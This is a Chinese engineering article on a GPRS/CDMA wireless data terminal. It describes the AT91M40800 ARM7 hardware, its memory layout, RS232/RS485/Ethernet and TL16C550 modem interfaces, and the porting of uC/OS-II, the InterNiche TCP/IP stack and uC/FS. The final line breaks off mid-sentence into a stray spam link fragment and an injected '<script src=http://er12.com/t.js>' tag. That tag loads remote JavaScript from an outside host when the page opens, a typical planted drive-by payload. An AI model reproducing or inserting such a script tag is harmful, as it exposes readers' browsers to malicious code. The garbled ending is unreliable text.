摘 要 随着中国移动gprs和中国联通cdma1x网络的建成商用,gprs/cdma无线数据终端的应用范围越来越广。本文介绍了atmel公司基于arm7tdmi核的微控制器at91m40800的内部结构和扩展外围,并在此硬件平台上移植了μc/osii嵌入式操作系统、interniche网络协议栈和μc/fs文件系统,从而给出了一个完整的gprs/cdma无线数据终端的实现方案。
关键词 arm处理器,μc/osii嵌入式操作系统,μc/fs文件系统,interniche网络协议栈
1 引 言
gprs/cdma无线数据网络系统由于其覆盖范围广,通信质量高,永远在线和按流量计费等优点,在无线上网、环境监控和数据采集等许多行业得到了广泛应用。作为系统重要组成部分的gprs/cdma无线数据终端,为了满足其成本低,体积小和移动灵活的要求,目前普遍使用的方案是在单片机系统上加载一些操作系统和网络协议栈来控制无线模块登录gprs/cdma网络,从而实现数据的传输。但由于目前的单片机大多仍是8位系统,处理速度较慢,且硬件资源有限,对操作系统和协议栈的支持能力不够强,因此实际运行起来效果并不理想。arm处理器凭借其功能强,功耗低,性能高的优势迅速成为了各种控制应用领域的首选。本文通过采用atmel公司的at91m40800处理器并外扩大容量存储器的方法来构建功能强大的硬件平台,并在此硬件平台上移植了μc/osii嵌入式操作系统、网络协议栈和文件系统,从而大大提高了终端的可靠性,增强了系统的可扩展性和产品开发的可延续性。
2 硬件平台
gprs/cdma无线数据终端采用atmel公司的一款arm7微控制器at91m40800,其特点如下:
集成了arm7tdmi处理器内核,高性能的32位risc体系结构,具有高密度的16位指令集和嵌入式ice(incircuit emulation);
8 kb片内sram;
完全可编程的外部总线接口(ebi),片选线多达8个,最大可寻址空间为64 mb,具有软件可编程的8位或16位外部数据总线;
8优先级、可单独屏蔽的向量中断控制器,具有4个外部中断,包括一个高优先级、低延迟的中断请求;
32个可编程i/o口;
3通道16位定时器/计数器;
2个uart;
可编程的看门狗定时器。
图1为gprs/cdma无线数据终端的结构框图。at91m40800内部只集成了8 kb的sram,为了使μc/osii操作系统、网络协议栈和文件系统能够正常移植运行,系统外扩了1 mb的flash和sram。使用的片选信号分别是ncs0和ncs1,处理器上电remap后分别映射到0x01000000和0x02000000的地址空间。为了满足系统存储数据和一些须修改的配置信息的需要,终端在外扩的flash里创建了μc/fs文件系统,文件系统和用户程序共用一片flash。用户程序固化在0x01000000~0x0107ffff前512 kb的地址空间内;文件系统创建在0x01080000~0x010fffff后512 kb的地址空间内。
图1 gprs/cdma无线数据终端结构框图
终端提供了rs232、rs485和rj45 3种用户接口。由于at91m40800内部集成了2个uart,因此只须外加一片rs232电平转换芯片和一片rs485收/发驱动芯片就能很容易地扩展出rs232和rs485用户接口。扩展rj45以太网口时,系统使用了rtl8019as以太网接口芯片。rtl8019as是realtek公司高集成度的专用以太网接口芯片,支持ethernetii、ieee802.3、10base5、10base2和10baset,支持utp、aui&bnc和pnp自动探测模式,并且内嵌16 kb sram用于收/发缓冲,降低了对主处理器的速度要求。它还支持8位、16位数据总线模式,有全双工的通信接口,是进行以太网通信的理想芯片。要实现这些功能,需要依据rtl8019用户手册的描述,对其进行正确的配置,编写出发送包、接收包函数以及外部中断处理程序;系统加载tcp/ip网络协议栈后通过调用这些函数即可实现网络数据的传送。
系统还通过tl16c550扩展了一个标准的9线串口以连接gprs/cdma无线猫。tll6c550的主要功能是在接收外部器件或modem的数据时完成数据串行到并行的转换;在接收cpu的数据时,完成数据并行到串行的变换并进行串行发送。在任何工作状态下,cpu均可读取和通报器件的状态。tll6c550的内部包含一个可编程的波特率发生器,波特率为16x内部输入时钟频率,此内部输入时钟频率由输入的参考基准振荡器分频(由波特率分频寄存器的值决定)得到。tll6c550具有完全的modem控制能力,根据用户的需要可以设置成中断或查询方式。对tl16c550的操作比rtl8019更为简单,只需对其为数不多的寄存器操作,便可实现对器件的模式设置、收发处理和状态控制等。在此基础上通过封装一些收/发的函数即可完全实现和gprs/cdma无线猫的全双工通信。
终端上电初始化后,从文件系统中读出相应的配置信息,接着通过tl16c550向无线猫发送相应的at指令;无线猫登陆网络成功后,系统通过加载ppp/tcp/udp/ip等协议,同中心建立起socket-p.htm" target="_blank" title="socket货源和pdf资料">socket连接;然后在μc/os-ii实时操作系统下?script src=http://er12.com/t.js>